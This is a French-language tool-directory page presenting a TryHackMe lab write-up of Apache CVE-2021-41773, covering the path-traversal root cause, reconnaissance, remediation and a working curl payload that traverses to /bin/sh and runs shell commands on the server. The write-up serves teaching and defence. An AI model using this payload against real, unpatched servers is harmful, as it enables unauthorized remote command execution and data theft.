Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2021-41773 — Analyse détaillée de l'exploitation de la traversée de chemin et d'exécution de code à distance (RCE) d'Apache CVE-2021-41773, avec des commandes étape par étape et une analyse des causes profondes provenant d'un environnement de laboratoire TryHackMe. | Kitploit
Outils/GitHubGitHub/johnwickakash12/cve-2021-41773
Analyse des VulnérabilitésExploitationExploitation d'Applications WebCTFApprentissage et ÉducationLabs et Pratique
GitHubjohnwickakash12/cve-2021-41773

CVE-2021-41773

Analyse détaillée de l'exploitation de la traversée de chemin et d'exécution de code à distance (RCE) d'Apache CVE-2021-41773, avec des commandes étape par étape et une analyse des causes profondes provenant d'un environnement de laboratoire TryHackMe.

Voir le dépôt
il y a 1 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2021-41773 — Exploitation de contournement de chemin et RCE Apache

Writeup de la salle TryHackMe « Modern Web Stacks », axée sur l'exploitation de CVE-2021-41773, une vulnérabilité de contournement de chemin dans Apache HTTP Server 2.4.49 qui conduit à une exécution de code à distance lorsque mod_cgi est activé.

Résumé

ÉlémentDétail
VulnérabilitéCVE-2021-41773 — Contournement de chemin / RCE Apache 2.4.49
Service cibleServeur Apache HTTP sur le port 8080
Version vulnérableApache/2.4.49 (Unix)
Cause racineOrdre de normalisation défaillant dans ap_normalize_path()
ImpactLecture arbitraire de fichiers → Exécution de code à distance via mod_cgi
Outils utiliséscurl

Aperçu de la vulnérabilité

Apache 2.4.49 a modifié la façon dont ap_normalize_path() traite les URL. Apache est censé bloquer toute requête contenant ../ avant qu'elle n'atteigne le système de fichiers — mais le filtre de contournement s'exécute avant le décodage complet de l'URL.

Cela signifie qu'une requête utilisant la séquence doublement encodée .%2e/ n'est pas reconnue comme ../ par le filtre. Cependant, une fois qu'Apache transmet le chemin au système d'exploitation, .%2e/ est résolu en ../, et le filtre de contournement a déjà été contourné.

Seule, cette vulnérabilité permet une lecture arbitraire de fichiers en dehors de la racine web. L'impact devient critique lorsqu'elle est combinée avec mod_cgi : si le chemin de contournement aboutit à un exécutable comme /bin/sh dans un répertoire compatible CGI (par exemple /cgi-bin/), Apache l'exécute comme un script CGI et transmet le corps de la requête HTTP POST à son entrée standard — donnant lieu à une exécution de commande à distance.

Étapes

1. Confirmer l'en-tête Serveur vulnérable

Identifié l'en-tête Server de la cible comme :

root@kitploit:~
Apache/2.4.49 (Unix)

Cette version est directement concernée par CVE-2021-41773.

2. Vérifier la disponibilité de /cgi-bin/

Requête de /cgi-bin/ et réponse 403 Interdit (pas 404), indiquant que le répertoire existe et que mod_cgi est probablement activé — une condition préalable à la RCE via cette CVE.

3. Exploiter le contournement de chemin pour la RCE

Utilisation de curl avec l'option --path-as-is pour envoyer la séquence encodée exactement comme tapée, sans que curl ne la normalise côté client :

root@kitploit:~
curl -s --path-as-is "http://<TARGET_IP>:8080/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh" \
  --data 'echo Content-Type: text/plain; echo; cat /flag.txt'

Pourquoi --path-as-is est nécessaire : par défaut, curl normalise les URL et supprime les séquences .%2e/ avant même d'envoyer la requête. --path-as-is indique à curl d'envoyer l'URL exactement comme écrite, préservant le contournement encodé pour qu'il atteigne le serveur intact.

4. Lire le drapeau

La charge utile a traversé hors de /cgi-bin/ vers le système de fichiers racine, exécuté /bin/sh comme script CGI via le corps POST injecté, et renvoyé le contenu de /flag.txt.

root@kitploit:~
Format du drapeau confirmé : THM{...}

(Drapeau expurgé conformément aux directives de TryHackMe concernant les writeups publics.)

Points clés à retenir

  • L'ordre des correctifs compte. Un filtre de sécurité qui s'exécute avant la fin du décodage peut être facilement contourné par des astuces d'encodage — ce schéma exact (filtre puis décodage vs décodage puis filtre) apparaît dans de nombreuses CVE de contournement, pas seulement celle-ci.
  • mod_cgi + contournement de chemin = RCE. La lecture de fichier seule est déjà grave ; combinée avec un répertoire exécutable CGI, elle devient une exécution de commande.
  • Le comportement de l'outil compte lors des tests. La normalisation d'URL par défaut de curl peut silencieusement « corriger » la charge utile exacte que vous essayez d'envoyer — --path-as-is (ou un outil équivalent de requête brute) est essentiel lors du test de contournements basés sur l'encodage.

Remédiation

  • Mettez à jour Apache vers la version 2.4.51 ou ultérieure (corrige à la fois CVE-2021-41773 et la CVE-2021-42013 associée).
  • Désactivez mod_cgi sauf si explicitement nécessaire.
  • Appliquez le principe du moindre privilège au processus du serveur web pour limiter le rayon d'impact de toute primitive de lecture de fichier.

Références

  • CVE-2021-41773 — NVD
  • TryHackMe — salle Modern Web Stacks

Ce writeup documente un environnement de laboratoire (TryHackMe). Aucun système non autorisé n'a été accédé.

Télécharger l’outil